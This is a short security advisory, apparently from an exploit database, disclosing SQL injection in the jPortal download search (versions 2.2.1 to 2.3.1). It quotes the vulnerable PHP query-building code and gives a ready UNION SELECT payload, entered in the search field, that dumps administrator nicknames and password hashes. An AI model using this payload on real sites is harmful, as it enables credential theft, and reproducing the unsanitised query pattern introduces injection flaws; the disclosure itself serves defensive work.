Sql injection in jPortal (module download)

2005.09.24
Credit: krasza
Risk: Medium
Local: Yes
Remote: Yes
CWE: N/A


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Versions: all from 2.2.1 to 2.3.1(+Service Pack)+shop jportal(I check this bug only on one site) SQL injection attack if magic_quotes_qpc=Off Problem is in file serching engine (download.php), witch code is in ?module/down.inc.php? file: <code> if($cat=='all') { $q_ = "AND title LIKE '%$word%'"; } else { $q_ = "AND category LIKE '%-$cat-%' AND title LIKE '%$word%'"; } $query = "SELECT * FROM $file_b_tbl WHERE stat<>5 $q_"; $result = mysql_query($query); </code> In $q query we have simple SQL Injection attack (variable $word we take from ?search? field) then In field ?Where I should search? ($cat) we SET ?everywhere?. And now we need this query ($query) to attack: $query = "SELECT * FROM file_data WHERE stat<>5 AND title LIKE '%a%' UNION SELECT NULL , NULL , nick , pass, NULL , NULL , NULL , NULL , NULL , NULL , NULL , NULL FROM admins/*%'"; Exploits: SQL injection attack -http://www.page.info/download.php We write in ?search? field: a%' UNION SELECT NULL , NULL , nick , pass, NULL , NULL , NULL , NULL , NULL , NULL , NULL , NULL FROM admins/* We push ?Find? button and we get list of admins and users with coding passwords. krasza http://www.krewniacy.pl


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top